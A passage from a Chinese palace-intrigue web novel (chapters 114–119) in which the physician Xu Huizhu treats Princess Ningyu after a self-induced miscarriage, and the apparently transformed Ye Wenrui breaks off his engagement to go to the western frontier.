“侯爷,你……你说文瑞当真醒不来吗?普神医说,文瑞整日昏睡,身体机能在极速衰退,可能三个月,也可能三天……文瑞就没了,呜呜呜……”
“文瑞要是没了,我也不想活,阴曹地府那么可怕的地方,我不放心文瑞一个人去,我要陪着文瑞,给他做饭、缝洗衣裳……”
殊不知,在叶侯爷、叶夫人离开后,叶文瑞睁开眼睛,先是一瞬迷惘,最后汇集成冰冷刺骨的寒意:“李-凝-玉!”
第114章:叶世子得叫我一声“姨母”
叶文瑞浑身疼痛,全身每一寸肌肤都被人拿银针扎过,动一下都痛到窒息。
他恍惚记得自己被一股无形的力量击倒,然后五花大绑在床榻上,动弹不得。
何谈反抗。
叶文瑞做了一个短暂的噩梦。
梦境里,他如愿以偿娶到凝玉公主,当上梦寐以求的驸马爷,可结果呢?
因为父亲只忠心于皇上,不愿做太子手里的刀,更不想违背良心和道义做恶事,凝玉公主发疯,警告父亲。
凝玉公主给他和父亲下药,故意让母亲撞破他和父亲混在一堆男宠里,像只狗一样乞求欢好……最后,凝玉公主向皇后娘娘恶人先告状,说父亲醉酒玷污她,父母羞愤自缢在他的面前……
“李-凝-玉。”叶文瑞声音发颤,透着冰冷的恨意。
他听到母亲的哭声,父亲的叹息,连伺候他的小厮阿权一边喂他汤药一边骂他糊涂,直到徐慧珠打他两耳光,骂他蠢不自知,还威胁要他的命。
徐慧珠是医者吗?
她竟懂得治病救人?
打醒了他,救了他的命,日后,就是他的恩人了。
“徐-慧-珠。”叶文瑞轻轻念出这个名字。
隔日,叶夫人携厚礼登门,见着徐慧珠就要行大礼。
论身份论年纪,叶夫人行大礼,徐慧珠不敢受。
“不不不,徐夫人,你救了文瑞的命,也救了我的命,两条人命,再大的礼,你都受得起。”
徐慧珠明了,“叶夫人的意思,叶世子醒了?”
叶夫人红着眼圈点头,她赶忙拿出帕子,擦拭眼泪,“让徐夫人见笑了,我……我实在心里高兴,文瑞清醒,我觉得啊,天都变亮了。”
“普神医为文瑞复诊,说恢复极好,再仔细将养几日,就能出门。普神医如实相告,我和侯爷才知,徐夫人你医术天赋异禀,拜普神医为师……”
相处下来,徐慧珠才发现,叶夫人性情软和中透着一股洒脱,说着说着,叶夫人便亲昵拉起徐慧珠的手叫“慧珠妹妹”,徐慧珠大方应下,称呼叶夫人“锦言姐姐”。
叶夫人,其名李锦言。
李锦言又说,“等文瑞养好身子,我带他登门,让他亲口向救命恩人道谢。”
徐慧珠陪着说笑,“锦言姐姐,如此一来,叶世子得称我一声‘姨母’,只怕叶世子会跳脚啊。”
李锦言一愣,转瞬反应过来,笑得直不起腰,“文瑞敢跳脚,我就拿棍子抽他腿,你是他的救命恩人,这一声‘姨母’叫得不亏。”
“慧珠妹妹,你受得起。”
徐慧珠原本不想见叶文瑞那个蠢货,不过,他倒是想听一听他叫她几声‘姨母’。
想必叶文瑞的表情定是有趣,不,该是五彩斑斓的难看吧。
晚些时候,姜夜沉回府,说起叶文瑞,“皇后娘娘今儿赐下好些补品,原本让凝玉公主走一趟叶侯府探望,可凝玉公主借口肚子痛,还跟皇后娘娘大吵一架,不欢而散。”
“只怕,皇后娘娘着急让凝玉公主和叶文瑞完婚,但凝玉公主还在抗拒,一心想要堕胎毁亲……”
徐慧珠震惊道,“堕胎毁亲?”
凝玉公主的疯癫颠覆了徐慧珠的认知,不作不死啊。
“将军何意?”
“是打算帮凝玉公主一把?”
徐慧珠本想说“孩子无辜”,又一想,凝玉公主那样的疯子,她不配当母亲。
她既叫李锦言一声“锦言姐姐”,就不能眼睁睁看着凝玉公主害了锦言姐姐,害了叶侯府。
再说,凝玉公主也不是第一回毁亲,她和叶文瑞已有夫妻之实不说,还怀有身孕,都这样了,她还作?
谁能阻挡得住她往死里作?
徐慧珠在将军府的日子过得风平浪静、有滋有味,徐念念忙着备嫁,好在徐慧珠有了“新欢”李锦言。
叶文瑞大病渐愈,李锦言也“病去如抽丝”,整个人神清气爽,气色好到让人嫉妒,时常邀约徐慧珠,不是喝茶,就是赏戏。
“慧珠妹妹,我有一事相求。”李锦言神情纠结,将心事道出。
“文瑞清醒后,好似脱胎换骨一般,他
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先是跪在我和侯爷面前忏悔,说他不懂事、不孝顺,辜负我们的疼爱,接着竟发誓日后他要考取功名,考个文武双状元回来,让我们以他为傲……”
“更奇怪的是,他不闹死闹活当驸马爷了,还跟小厮阿权说,成家不急,立业为先。”
“慧珠妹妹,烦请你再为文瑞看诊一回,我怕……怕他病坏了脑子。”
又喃喃补刀:“文瑞突然转性,懂事到让我怀疑,谁偷偷换了我的好大儿……”
徐慧珠想到两种可能,一是叶文瑞幡然醒悟,二是他的身体住进另一个灵魂。
李锦言信守承诺,叶文瑞病愈后第一次出门,就被拉着来将军府,登门道谢,也方便徐慧珠看诊。
的确如李锦言所说,一见面,徐慧珠明显感受到叶文瑞整个人的气息大变。
来日方长,不着急一时试探。
“文瑞遭遇匪徒劫杀,万幸得将军和徐夫人相救,捡回一条命。又得徐夫人妙手仁心救治,重获新生。”
“文瑞觉得十万两银票远远不够表达我的感恩之情。”
“徐夫人,从前是我糊涂犯蠢,鬼门关走一遭,也该醒悟了。”
“今后,文瑞的命,便是徐夫人的了。”
叶文瑞说得真诚,眼神清澈如泉,透着一股莫名的情绪。
他明明知晓真相,却故意顺着错误的故事往下编。
不必试探,徐慧珠已万分确定,叶文瑞不再是叶文瑞。
李锦言笑着自夸,“文瑞随我,有恩必报,有债必讨。”
又想到什么,李锦言瞪了一眼叶文瑞,训斥道,“文瑞,得叫姨母。”
“日后,你得有两份孝心,一分给我,一分给你姨母。”
姨母?
叶文瑞神色僵硬,他和徐慧珠同岁,一声尊称“徐夫人”他叫得艰难,现在还得矮了辈分,叫徐慧珠“姨母”?
正为难之时,姜夜沉一脸急色寻来,“夫人,快随我入宫救人,凝玉公主服用过量堕胎药……”
“孩子保不住,凝玉公主身体受损严重……”
第115章:凝玉公主自残毁亲
不等姜夜沉说完,徐慧珠赶紧打断,“将军,有客人在。”
徐慧珠仔细观察叶文瑞的表情,竟发现他的眼里闪烁过一瞬狂喜。
叶文瑞也不期待那个孩子吗?
一行人入宫,直奔凝玉公主住的香凝殿,皇上和皇后娘娘都在,皇上黑着一张脸,皇后娘娘红肿着眼睛。
待看过凝玉公主后,徐慧珠才发现姜夜沉说得委婉了,凝玉公主的疯癫又达到新的高度。
她是有多恨腹中的生命,不惜服用致死量堕胎药,人是救回来了,身子毁得彻底,终生不能有孕,日日与汤药为伴。
但,如何为凝玉公主调理,是个难题。
徐慧珠医术精湛,且救醒叶文瑞,借由叶侯府,已宣扬出去。
自有人觉得新奇,追着普神医问,普神医出口便是称赞:老夫这位徒弟啊,就是百年难遇的学医苗子,未来成就远在老夫之上。
“徒弟,你来把脉。”普神医一看到徐慧珠,眼睛发亮。
徐慧珠得出的结论,与太医、普神医不差,“回禀皇上、皇后娘娘,凝玉公主身子伤得严重,若由臣妇为凝玉公主调理,再过十年八年,可能会有三四成机会有孕。”
“你……你说什么?凝玉还能有孕?”皇后娘娘蹭地站起身,眼里迸发出惊喜,她忽略徐慧珠说的十年八年后,也忽略三四成机率,更忽略徐慧珠只说了“可能”。
皇上神色未动,淡声开口,“徐氏,凝玉身体由你负责,你可自由出入皇宫,任何人不得阻挡、为难。”
李大监递上一枚令牌,徐慧珠双手接过,“臣妇遵旨。”
皇上看了一眼姜夜沉,“尽力而为吧。”
有了皇上这句话,就是凝玉公主身子不好,或不能有孕,皇后娘娘也不敢直接怪罪于她。
“皇上?”皇后娘娘心生不满,皇上这是何意?身为凝玉的父皇,不是该下旨命徐慧珠全力为凝玉调理身体,若无成效,以死谢罪。
皇上冷哼一声,当众落皇后娘娘的脸面,“皇后还想怎样?凝玉之错,有脸怪罪旁人?”
凝玉公主落胎一事发生得突然,又被厉贵妃撞破,等皇后娘娘想要遮掩时,已然迟了。
皇后娘娘恨极厉贵妃,可事实是,厉贵妃发现及时,召来太医,这才保住凝玉公主的千金之躯。
皇上震怒,若不是凝玉公主将自己折腾的奄奄一息,此时经不起杖责。
不然,一通耳光少不得。
姜夜沉在徐慧珠进入内室为凝玉公主看诊时,已向皇上禀明李锦言和叶文瑞入宫的原由。
叶文瑞这回学聪明了,竟偷偷派人回府请叶侯爷一同入宫。
“宣叶侯爷,叶夫人、叶世子。”李大监唱道。
见礼过后,叶夫人被请进内室看望凝玉公主,叶文瑞满脸急色,“请皇上、皇后娘娘为凝玉公主做主,查出幕后黑手以命偿命。”
以命偿命?
如何偿命?
叶侯爷急忙训斥,“文瑞,闭嘴,当着皇上、皇后娘娘的面,休得胡言乱语。”
叶文瑞能闭嘴才怪,“父亲?”
“凝玉公主腹中怀的是我的第一个孩儿,若是儿子,那就是未来叶侯府的继承人啊。”
皇上脸色难看,皇后娘娘只觉得无比难堪,可皇上不吭声,解释的话就得由她来说。
皇后娘娘又气又怒,再听完叶文瑞说的话,足以证明叶文瑞对凝玉腹中的孩儿有多期盼,还未出生,便已定下继承人。
到时,整个叶侯府就是太子的一大助力,偏偏,凝玉公主作天作地,也是狠心冷情……皇后娘娘恨不能抽凝玉公主几个嘴巴子,抽清醒为止。
“文瑞?”皇后娘娘叫得亲切,“初香背主,蛊惑不成,给凝玉下药,这才……”
皇后娘娘心思回转了好几圈,还是让初香背锅,总不能直接告诉叶侯府的人,是凝玉自个儿把孩子作没,叶侯府这门亲事,皇后娘娘还想要。
“皇后?”皇上心里失望,皇后此举跟掩耳盗铃有何区别,哪怕证据摆在面前,皇后一味死鸭子嘴硬,母子三人真真是如出一辙。
皇后此刻心虚的不行,只得硬着头皮胡扯,“初香给凝玉下药之后,偷了凝玉的令牌逃出宫,本宫已派人去抓了……”
夫妻一体,又关系到李氏皇族的清誉,皇上定
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会帮她,即便事后皇上震怒,厌弃了她,她也不后悔。
太子如今举步维艰,大皇子又迅速崛起,来势凶猛,叶侯府这门亲事,万万不能毁。
“皇后娘娘是说凝玉公主身边的一等宫女初香?她……她**害了凝玉公主和腹中孩儿?”叶侯爷出声。
“回禀皇上、皇后娘娘,臣今日入宫,正因为初香。”
“什么?”皇后娘娘心里的不安越发强烈,“叶侯爷抓住了初香那个贱婢?”
叶侯爷摇头,“并非臣抓住初香,而是初香主动登门。”
“据初香说,凝玉公主看不上文瑞,一心想要悔婚,命她从黑市高价买来堕胎药……”
皇后娘娘的心跌入谷底,皇上都没开口,她如何敢下令叶侯爷闭嘴。
“请皇上、皇后娘娘明鉴,臣绝不相信凝玉公主会这么做,定是初香胡言。”
“臣绑了初香,请皇上、皇后娘娘处置。”
姜夜沉站在皇上的身旁,看了一眼叶侯爷,心里叹道:果然是成了精怪的老狐狸啊。
叶侯爷嘴上说着不信初香胡言,其实心里早信了,不然他就不会入宫,不会当众说这一番话来。
皇上心里明白,叶侯爷的意思。
其实,从一开始,就是叶文瑞上赶着爱慕凝玉公主,一心做驸马爷的美梦,叶侯爷和叶夫人从未表示过想要叶文瑞尚公主的意愿。
也就是说,叶侯爷和叶夫人并不希望有凝玉公主这个儿媳。
凝玉公主想要毁亲,如今连唯一的牵绊,不,应该说筹码都没了,殊不知,也正好遂叶侯府的意。
“初香杖毙。”皇上下令,姜夜沉领命离开。
皇后娘娘心里微松一口气,她赌得没错,皇上再怎么恼怒,还是会为凝玉收拾烂摊子,就算皇上心里厌了凝玉,他还在乎李氏皇族的名声。
不等皇上再说什么,李锦言和徐慧珠从内室出来。
“徐氏,你便将凝玉的情况再说一遍。”皇上说道。
“皇上?”皇后娘娘意欲阻拦,心里禁不住埋怨,皇上还嫌不够丢脸,还嫌凝玉不够痛,非要在凝玉流血的伤口上撒一把盐吗?
第116章:宫女初香之死
皇上眼神冰凉看了一眼皇后娘娘,警告意味十足。
皇后娘娘身子颤栗,垂下头,掩饰眼里的不甘。
徐慧珠假装没瞧见皇后娘娘的威胁目光,将凝玉公主的情况如实叙说。
叶文瑞瘫在地上,脸色灰白,目光无措,“不不不,我不信我不信,凝玉公主不会这么狠心,宁愿自毁身体,也要残忍杀害腹中孩儿……那是我的孩子,也是凝玉公主的血脉啊。”
“为什么?”
“为什么?”
“谁能告诉我,这......这到底是为什么?”
“我不信不信不信。”
叶文瑞的“质问”,无人能给予答案。
或许凝玉公主能告诉叶文瑞原因,但凝玉公主此刻昏迷不醒,就是清醒,说出的答案只会更打叶文瑞的脸,更伤叶文瑞的心。
徐慧珠心下疑惑,一时分辨不清,是从前的叶文瑞“夺回”身子和灵魂?还是新的叶文瑞在演戏?
“叶世子节哀,我和师父会尽心尽力为凝玉公主调理身体,十年八年过后,还是有三成机率有孕……”徐慧珠明着安慰叶文瑞,暗里添一把火。
这时,姜夜沉入殿禀报,“宫女初香已死。”
姜夜沉说完,便站到徐慧珠的身边,好一对养眼的璧人,好在凝玉公主昏迷不醒,不然定会大闹一场。
若是平常,皇上心情好的时候,肯定会假意训斥姜夜沉几句,李大监在一旁附和,君臣气氛融洽。
“所有过错皆凝玉一人之错,这门亲事……”事已至此,皇上对叶侯府心有愧疚,对凝玉公主心生怒意。
“皇上?”皇后娘娘俨然忘记皇上的警告,她不能让皇上开这金口,毁了这门亲事。
凝玉必须得嫁入叶侯府,回头她好生劝说凝玉,只要凝玉肯悔过、肯低头、肯服软,定能哄回叶文瑞的心。
“皇上,凝玉受了这么多的苦,眼下昏迷不醒,再失去亲事,您让凝玉如何活啊。”
“求皇上可怜可怜凝玉。”
“皇上,凝玉是您的亲生女儿,求您再给凝玉一条活路。”
皇后娘娘求完皇上,目光落在叶文瑞的身上,“文瑞,是……是凝玉少不更事,你就原谅她这一回,可好?”
“文瑞,你心悦凝玉多年,本宫一直看在眼里。”
“经历这回,凝玉知道错了,也会明白能与她共度一生、给她幸福的良人是你。”
贵为一国皇后,为凝玉公主低声下气求臣子,好一副慈母心肠。
叶文瑞听劝,“皇上,求皇上为臣和凝玉公主赐婚。”
叶侯爷和李锦言对视一眼,不管他们心里万般不愿,也不能在君王的面前表现分毫。
雷霆雨露皆是君恩。
两人无声叹气:万般皆是命啊。
儿子魔怔,谁也救不得。
只是,想起在宫门口,叶文瑞突然说了一句莫名其妙的话:不管儿子说什么,做什么,请父亲、母亲信我。
他们等在殿外,叶文瑞盯着院子里一口大缸,缸里养着睡莲,目色晦暗不明。
说来,睡莲是他为凝玉公主千辛万苦寻来,这口大缸是他设计样式,专门跟大师傅学习半年,不知废了多少料,烧坏多少坯,终是成形。
大缸底端刻着一首藏头诗,是他写给凝玉公主的,每行诗的第三个字连在一起便是“文瑞心悦凝玉”。
他的辛苦,凝玉公主视而不见。
他的真心,凝玉公主踩在脚下。
临入殿前,叶文瑞又重复那句,“请父亲、母亲信我。”
“叶文瑞?”皇上动容,谁都曾年少过,可极少有人如叶文瑞这般,执念如此。
“叶文瑞,你不必如此,是……是凝玉配不上你。”
皇上此言一出,惊到皇后娘娘,她不禁怀疑自己十月怀胎生育的一双儿女,难道是野男人的种?
“文瑞非凝玉不娶,可见情深义重,这是好事啊,皇上。”
“皇上不如下旨,由锦衣卫督促内务府为文瑞和凝玉操办一场浩大婚宴,一来有情人终成眷属,二来彰显皇恩浩荡、君臣同喜。”
徐慧珠可算见识到皇后娘娘的厚颜加无耻,这些话,她怎么说得出口,还说得理直气壮。
皇上本不愿寒忠臣的心,他更清楚凝玉公主的性情,嫁到叶侯府,只怕不是结亲,而是结怨结恨。
“
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叶侯,你的意思呢?”皇上问道。
叶侯爷看着自己的儿子,他实在不懂,儿子为何执念如此?明知凝玉公主是火坑,他抱着必死的决心跳下去吗?
“臣……臣感念皇上体恤,文瑞大了,他还是叶侯府的世子,便由他做自己的主吧。”叶侯爷心里交战过后,还是决定信儿子一回。
叶文瑞冲叶侯府、叶夫人磕了四个响头,“文瑞谢父亲、母亲成全,文瑞不孝,连累父亲母亲操心。”
“皇上,如徐夫人所言,凝玉公主调理好身子,需十年八年光景,只有三成机率有孕。”
“臣想要和凝玉公主天长地久,是为私心。”
“可臣身为人子,身为叶侯府世子,却不能罔顾叶侯府的前程……”
“请皇上下旨废除臣的世子之位,再从叶氏族人里挑选一名德才兼备的子弟,记在父亲母亲名下,培养成新的继承人。”
谁也没想到叶文瑞爱凝玉公主至深,甘愿放弃侯府世子之位。
徐慧珠张了张嘴,咽下到嘴边的话,贵人厮杀的场合,她一个旁观看戏的,得有看戏的觉悟,多看少说,免得惹祸上身,遭人记恨。
“皇上,臣亦觉得此法可行。”
姜夜沉难得多管闲事,他和徐慧珠心有灵犀,由他当徐慧珠的嘴替,再适合不过。
“人选一事,请皇上亲自过眼,既成就一桩金玉良缘,又恭贺叶侯府新得继承人,可谓两全其美。”
姜夜沉话音未落,被皇后娘娘生生打断,“文瑞,不可任性胡闹,叶侯府世子之位,岂是儿戏笑谈,说换就换?”
皇后娘娘眼里的急切,遮掩不住,“文瑞,你对凝玉的深情厚谊,是凝玉的福气,本宫看在眼里,暖在心间。”
“凝玉身子有恙,不能为叶侯府开枝散叶,本宫做主挑选几名良家女子,大婚之时作为陪嫁一同嫁入叶侯府,待生下子嗣,记在凝玉名下,由凝玉教导……”
皇后娘娘心里的想法,不必明说,在场之人谁看不清?
如此着急,也不怕一口吃下热豆腐,烫伤喉咙。
徐慧珠和姜夜沉偷偷对视一眼:很好,鱼儿咬勾了。
第117章:臣成家无缘,那就建功立业
皇后娘娘要的是侯府权势为太子所用,若叶文瑞不是侯府世子,他还有何价值,皇后娘娘又何苦“牺牲”凝玉公主。
东宫接二连三出事,太子的羽翼被剪,皇后娘娘急得如热锅上的蚂蚁,她想要拉拢叶侯府,还想通过叶夫人获得元乐长公主的支持。
后宫里,厉贵妃一边向皇上吹枕边风,一边暗里拉拢嫔妃,形成对峙之势,隐有挑衅皇后权力。
外有大皇子越发高调行事,动作不断,先是请旨去华阳县赈灾,分太子功绩,又暗里和好些朝臣往来,拉拢之意明显。
叶文瑞眼神坚定,拒绝皇后娘娘的好意,“臣曾发誓,许凝玉公主一生一世一双人,若皇后娘娘生气,请降罪于臣一人,凝玉公主何其无辜……”
民间有说,娶妻娶贤娶慧。
皇上心里怨极太后娘娘,在他还是不受宠的皇子时,仗着嫡母身份,拿捏他的亲事,逼他求娶娘家侄女。
同床异梦的夫妻,何谈夫妻?
“叶文瑞,你太不要脸了,本宫何时同意与你一生一世一双人?”
只见,凝玉公主扶着门槛,满脸怒气、嫌恶,“叶文瑞,你死心吧,本宫绝不会嫁给你。”
徐慧珠赶忙垂下头,盯着自己的绣花鞋,极力忍耐激动。
她悄悄在凝玉公主服用的汤药里添了一枚药丸,可助她迅速恢复生机,看着昏迷,实则外面说的话,她听了全程。
凝玉公主一步一步走得艰难,向姜夜沉走去,“姜夜沉?”
“姜夜沉,我……我只想和你一生一世一双人。”
“你看,我亲手杀死叶文瑞的孽种,足够证明我爱你啊。”
“姜夜沉,我失去清白,你不能人道,你我之间终于扯平,再也没有什么能阻挡我们相爱。”
“姜夜沉,我要你休弃徐慧珠,然后杀了她。”
姜夜沉:疯子。
徐慧珠:蠢而不自知的疯子。
皇后娘娘:我怎么生了这样不省心的女儿,不如掐死。
皇上:就算是本皇的亲生女儿,贵为皇家公主,也配不上本皇的夜沉。
叶文瑞:叶文瑞啊叶文瑞,从前的你,是有多眼瞎心瞎,爱上凝玉公主这等货色。
“凝玉,闭嘴。”
“来人啊,公主病糊涂了,去熬一碗安神汤,伺候公主服下。”
皇后娘娘快气到窒息,她费尽心力忙活半晌,一朝被凝玉公主毁的彻底。
“皇后娘娘且慢,凝玉公主的身体不宜再服用安神汤,更忌情绪激动。”徐慧珠走向凝玉公主,抓起她的手腕诊脉。
“凝玉公主,请谨遵医嘱,不然,臣妇说句逾越的话,莫说您能恢复健康,还有机会有孕,只怕于寿命有碍。”
“而且,凝玉公主该知晓,臣妇和师傅奉皇命为您调理身体,您确定要夺臣妇的夫君?取臣妇的性命?”
啪。
“**,你算什么东西,竟敢威胁于本宫?”
“姜夜沉是本宫的,你这个不要脸的窃贼,偷盗本宫的珍宝,还想占为己有?”
凝玉公主直觉一口浊气堵在胸口处,她看不得徐慧珠这个**,更听不得徐慧珠说话。
这一巴掌,徐慧珠硬生生受了。
真不知凝玉公主哪来的底气,说话、行事自成一派,沉浸在自己编织的世界里,唯她独尊。
“凝-玉-公-主。”姜夜沉的眼眸染上杀意,他走到皇上的御案,拿起砚台。
“皇上,臣……借皇上的砚台一用。”
皇上点头。
姜夜沉手持砚台逼近凝玉公主,双手奉上,“臣是鲜活的人,不是凝玉公主您想要就要、想弃就弃的物件。”
“您是公主之尊,臣招惹不得,得罪不起。”
“您要逼的臣家破人亡,好啊,那就当着皇上和皇后娘娘的面,用臣手里的这方砚台砸臣的脑袋,砸死为止。”
“臣死后,尸体如何处置,凝玉公主您尽可随意便是。”
姜夜沉这番话说得无理,以下犯上的大罪。
“姜夜沉,你……你……”凝玉公主一副心碎的可怜模样,“姜夜沉,你故意气本宫是不是?”
“你说,本宫要如何做,你才会消气?”
姜夜沉只觉得一阵无力感,同凝玉公主
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说话,对牛弹琴无疑,她执拗地坚持自己所想,听不进旁人的话。
叶文瑞满眼不敢置信,满眼心碎,“凝玉公主,您……您心里无我,无一点点我的位置啊。”
“好好好。
叶文瑞一连说三个好字,让人听着心疼,“如凝玉公主所愿,我……我成全您。”
他噗通跪在地上,向皇上磕下四个响头,“皇上,臣斗胆有两事相求。”
“第一件事,臣愿退亲,对外便说,是臣对不住凝玉公主在先,配不上凝玉公主在后,为凝玉公主保全名声,是臣对凝玉公主最后的……心意。”
不给皇后娘娘开口的机会,皇上金口一开,“准。”
“皇上,不可啊。”皇后娘娘着急之下,咬破了舌头,一股腥血充斥口腔,痛的她红了眼圈。
“皇后,难道你要忤逆圣意?”
皇后娘娘心里一惊,她何尝不明白,事已至此,凝玉与叶文瑞的亲事,彻底黄了。她和太子想要拉拢叶侯府的完美计划,毁在凝玉的手里。
“皇上明鉴,臣妾万万不敢。”
叶文瑞那一双心碎的眼神,无疑骗过很多人,除过……
“臣所求的第二件事,臣想要离开京城这个伤心之地,去西疆。”
“臣成家无缘,那就建功立业。”
徐慧珠和姜夜沉对视一眼,原来叶文瑞演这一出深情的戏码,为的是去西疆。
仔细一想,也能想通其中原由。
叶侯爷原为武将,是上官西环的父亲上官将军、如今西疆王的副将,却在一次战役中为救上官将军身受重伤,不得已回京,获封侯爷。
叶文瑞想当将军?
直到这一刻,徐慧珠完全确定,从前的叶文瑞,死透了。
姜夜沉心领会神,“叶世子难得觉悟高尚……”
叶侯爷这时已明白儿子的用意,“皇上,臣曾在西疆实现护百姓卫疆土的抱负。但臣这幅残破之身再无养好之日,臣不能亲赴西疆为皇上您守护边境,就由文瑞去吧。”
“臣虽舍不得,但内心欣慰,这是文瑞身为人子,身为下臣该做的事。”
第118章:爱得够深,才怨得沉重
叶侯爷趁机向皇上表达忠心,他和夫人留在京城,叶文瑞只身去西疆。
如此,安皇上的心。
叶侯爷想得通透,叶文瑞和凝玉公主这一回两败俱伤,只是分得谁伤更重些罢了。
今日之事,很快会传遍京城,叶文瑞与其待在京城,日日忍受旁人的嘲讽或可怜,不如借此机会远离京城。
叶侯府闭门谢客,低调好些年就是。
因着皇上心里的那份愧疚,若叶文瑞真能在西疆闯出名堂,建一番功绩,叶侯府崛起势强,指日可待。
父子俩迅速对视一眼,便明白对方所想。
叶侯爷脸上难掩激动,眼里盛满欣慰,他的儿子走过一段布满荆棘的弯路,终于醒悟。
回归正途。
不知为何,叶侯爷总感觉儿子有此造化,或与姜夜沉有关。
“准。”
皇上一锤定音。
叶文瑞成功毁亲,又以退为进正式和凝玉公主划清界限。
说来,他搭台子唱戏,徐慧珠和姜夜沉也出了一些力。
离宫前,叶文瑞向徐慧珠行礼,“徐夫人,凝玉公主的身体,就拜托您了。”
“我和凝玉公主今生无缘无份,乃天意注定,但我心里仍期望凝玉公主千般珍重万般安好。”
不是徐慧珠瞧的仔细,而是叶文瑞说话时,眼里毫无悲伤心碎的情绪。
他在她的面前,不屑遮掩,是莫名的信任她?还是笃定她会心善到不拆穿他?
有一点,叶文瑞赌对了,徐慧珠助他如愿。
“叶世子重情,此等品格,世间难得。”
“愿叶世子往后余生里,能遇到两情相悦的女子,幸福安康。”
他们身处殿外,说什么话,里面的人听得清楚。
谁都听得出来,徐慧珠在含沙射影嘲讽凝玉公主。
皇上默许,皇后娘娘此刻也没心情刁难徐慧珠。
“姜夜沉,你高兴了吗?叶文瑞滚出京城,再也烦不到我们了啊。”
“姜夜沉,本宫亲手解决自己的麻烦,你呢?”
“休了徐慧珠,不,杖毙她,本宫和你的婚约继续,没有人能阻挡本宫和你在一起。”
凝玉公主仍看不清形势,听不懂人话,她心里满意叶文瑞的识趣表现,以为没了叶文瑞横在她和姜夜沉的中间,两人的误会就能解开。
至于姜夜沉曝光的真相,说出难听又伤人的狠话,凝玉公主安慰并说服自己:爱得够深,才怨得沉重。
“混账。”
“凝玉,你丢尽本皇的脸。”
皇上的手重重拍在御案上,怒火更盛,随手抓起奏章砸向凝玉公主。
“啊……”
凝玉公主捂着流血的脸颊,惊恐尖叫。
“皇上,您……您要毁凝玉的容貌?”
“您让凝玉日后如何见人?”
“皇上,凝玉是您的血脉,您不能如此狠心啊。”
皇后娘娘哪顾得仪态,扑过去搂住凝玉公主,一连串质问。
凝玉公主原本吓得要死,可皇后娘娘的维护,又给她无限底气。
她自觉没犯下什么大错,父皇不该为了所谓脸面动怒发火,还伤她容貌。
她一向自持绝色容颜,此刻脸颊被奏折划破,血流不止,疼痛难耐,心里怨恨皇上攀至顶峰。
“父皇?”凝玉公主猛的推开皇后娘娘,眼里升腾恨意。
“父皇,是您害得姜夜沉不能人道,是您毁了我的亲事,也是您夺了我的幸福……父皇,一切皆是您的错。”
皇后娘娘回过神来,想要捂住凝玉公主的嘴巴,已然太晚。
“护龙卫。”皇上冷声下令,“禁足凝玉公主于香凝殿,除普神医和徐氏,其他人等一概不得入殿。”
“凝玉公主若敢踏出香凝殿一步,断其双脚。”
“皇后也不得探望凝玉公主。”
皇上软禁凝玉公主不说,还派护龙卫守着,只差明明白白警告皇后娘娘,他防备的是她。
如果凝玉公主敢踏出殿门一步,就会被护龙卫砍断双脚。
这不仅仅是威胁,更胜过威胁。
皇上金口一开,便是不可违逆的圣旨,而护龙卫本就是专属皇上的私卫,只听皇上一人之令。
“父皇?”
“不要啊。”
凝玉公主满眼不敢置信,她又不是囚犯,为何软禁她?
“皇上?”皇后娘娘瞧见皇上眼里的杀意,一颗心如坠深潭,又怕又冷,身子一软噗通跪在地上,“皇上,臣妾知错,不不不,凝玉也知错了。”
“求皇上饶过凝玉这一回,都是臣妾的错,是臣妾没教好凝
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玉,是臣妾纵容凝玉无法无天……求皇上收回圣命。”
皇后娘娘太清楚凝玉公主的性子,她会逃的,不撞破南墙,不不不,不撞死自己,她不会罢休。
皇后娘娘更不敢丝毫怀疑皇上的绝情冷漠,若凝玉公主从此死心,乖乖待在香凝殿,还能活。
可……
皇后娘娘泪流满面,求向皇上时,看到姜夜沉,心里一惊,明明两张不同容貌,却有一样冰冷的眼。
他们的眼睛,太像了。
这一刻,皇后娘娘心里怨极恨毒姜夜沉,她的一双儿女落得这般下场,都是姜夜沉害的。
祸国殃民的妖妃?是了是了,姜夜沉于凝玉公主而言,就是那祸国殃民的妖妃,迷了凝玉公主的心智,毁了凝玉公主的人生。
“父皇,你管不住凝玉的……”凝玉公主还要嚎叫,皇上一个眼神过去,护龙卫一掌劈下去,就止住声。
“皇上?”皇后娘娘踉跄后退,“皇上,您……您好狠好冷的心啊。”
姜夜沉看了一眼眉头紧锁的皇上,出声道,“皇上,臣送皇后娘娘回君后殿。”
殿外,徐慧珠和叶文瑞相视一笑。
“徐慧珠?”叶文瑞突然压低声音,叫她“徐慧珠”,而不是“徐夫人”,或遂了叶夫人的心意,尊她一句“姨母”。
“徐慧珠,你是我的恩人,亦是我见过灵魂最有趣的女子。”
叶文瑞撂下一句莫名其妙的话,逃了。
徐慧珠愣在原地,先前叶文瑞铆足了劲要害她,还嫌她长得丑。
现如今,又是感恩又是赞美,不知内情的,还以为叶文瑞倾慕她呢。
倾慕她?
如何可能?
徐慧珠一边跟着小太监往宫门走,一边胡思乱想。
“小宁子见过暮歌姐姐。”小宁子长得一张甜嘴,认李大监为干爹。
“奴婢在这里等候徐夫人。”暮歌冲小宁子微笑,虽身为宫女,却生得一副好颜色,竟有一笑倾城的风华。
难怪,小宁子一瞧见暮歌,脸颊通红,红到耳根。
“徐夫人安好,奴婢是贵妃娘娘身边的暮歌。”
“贵妃娘娘近来睡得不安稳,听院正大人说,徐夫人师承普神医,可否劳烦徐夫人走一趟,为贵妃娘娘看诊......”
第119章:厉贵妃意难平的是名分
厉贵妃相请,用的是正常理由,徐慧珠不能拒绝。
“这?”
小宁子十分苦恼,他既不敢违背干爹的命令,又不想拒绝心中的神女暮歌。
“徐夫人,贵妃娘娘说,女子有些病痛,不能与太医细说,还请徐夫人医者仁心,化解贵妃娘娘的病痛。”
暮歌并未说谎,厉贵妃身体有恙为真,想见一面徐慧珠也为真。
凝玉公主对姜夜沉痴恋成癫成狂,想要徐慧珠死,她好下嫁。
若这个时候,厉贵妃主动抛来橄榄枝,愿做徐慧珠背后的靠山,徐慧珠自是得投桃报李,有所回报才是。
厉贵妃居住的伊香殿,布局清新淡雅,关键在于,整座皇宫,唯有伊香殿距离君皇殿最近。
可见,厉贵妃在皇上心里的位置,远高于皇后娘娘。
皇后娘娘只占虚名,厉贵妃得实打实的皇宠。
但,厉贵妃意难平的是名分。
“臣妇徐氏拜见贵妃娘娘。”徐慧珠跪在地上,规规矩矩行礼。
“徐夫人来了啊。”
“暮歌,引徐夫人入内室。”
